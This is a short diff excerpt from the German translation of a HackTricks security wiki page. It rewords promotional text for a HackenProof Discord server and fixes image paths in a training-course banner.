@ -656,19 +675,19 @@ _Es sei denn, Sie verursachen einen PHP Fatal Error, werden die hochgeladenen PH
|
|||
Treten Sie dem [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!
|
||||
|
||||
**Hacking Insights**\
|
||||
Engagieren Sie sich mit Inhalten, die in die Aufregung und Herausforderungen des Hackens eintauchen
|
||||
Engagieren Sie sich mit Inhalten, die in den Nervenkitzel und die Herausforderungen des Hackens eintauchen
|
||||
|
||||
**Echtzeit-Hack-Nachrichten**\
|
||||
Bleiben Sie auf dem Laufenden über die schnelllebige Hackerwelt durch Echtzeitnachrichten und Einblicke
|
||||
**Real-Time Hack News**\
|
||||
Bleiben Sie auf dem Laufenden mit der schnelllebigen Hack-Welt durch Echtzeitnachrichten und Einblicke
|
||||
|
||||
**Neueste Ankündigungen**\
|
||||
**Latest Announcements**\
|
||||
Bleiben Sie informiert über die neuesten Bug-Bounties und wichtige Plattform-Updates
|
||||
|
||||
**Treten Sie uns bei** [**Discord**](https://discord.com/invite/N3FrSbmwdy) und beginnen Sie noch heute mit den besten Hackern zusammenzuarbeiten!
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
Loading…
Add table
Reference in a new issue